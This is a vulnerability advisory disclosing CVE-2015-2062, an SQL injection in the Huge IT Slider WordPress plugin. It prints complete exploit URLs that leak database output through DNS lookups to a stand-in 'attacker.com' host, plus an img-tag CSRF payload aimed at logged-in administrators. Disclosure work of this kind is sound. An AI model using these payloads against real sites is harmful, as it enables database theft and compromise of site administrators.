SQL Injection in Huge IT Slider WordPress Plugin

High-Tech Bridge Security Research Lab discovered an SQL injection vulnerability in Huge IT Slider WordPress Plugin. This vulnerability can be exploited by website administrators as well as anonymous attackers to inject and execute arbitrary SQL queries within the application’s database.

1. SQL injection in Huge IT Slider WordPress plugin: CVE-2015-2062

The vulnerability exists due to insufficient filtration of input data passed via the “removeslide” HTTP GET parameter to “/wp-admin/admin.php” script when “task” parameter is set to “popup_posts” or “edit_cat”. A remote authenticated attacker with administrative privileges can execute arbitrary SQL queries within the application’s database.

Below are two simple exploit codes that are based on DNS Exfiltration technique. They can be used if the database of the vulnerable application is hosted on a Windows system. The codes will send a DNS request requesting IP address for version() (or any other sensitive output from the database) subdomain of “.attacker.com” (a domain name, DNS server of which is controlled by the attacker).

1. Exploit example for “task=popup_posts”: http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup_post s&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) –

2. Exploit example for “task=edit_cat”: http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=edit_cat&i d=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) –

This vulnerability can be also exploited remotely by non-authenticated attackers using CSRF vector, since the web application is also prone to Cross-Site Request Forgery attacks. The attacker could use the following exploit code against authenticated website administrator to determine version of installed MySQL server:

<img src=“http://[host]/wp-admin/admin.php?page=sliders_huge_it_slider&task=popup _posts&id=1&removeslide=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) --”>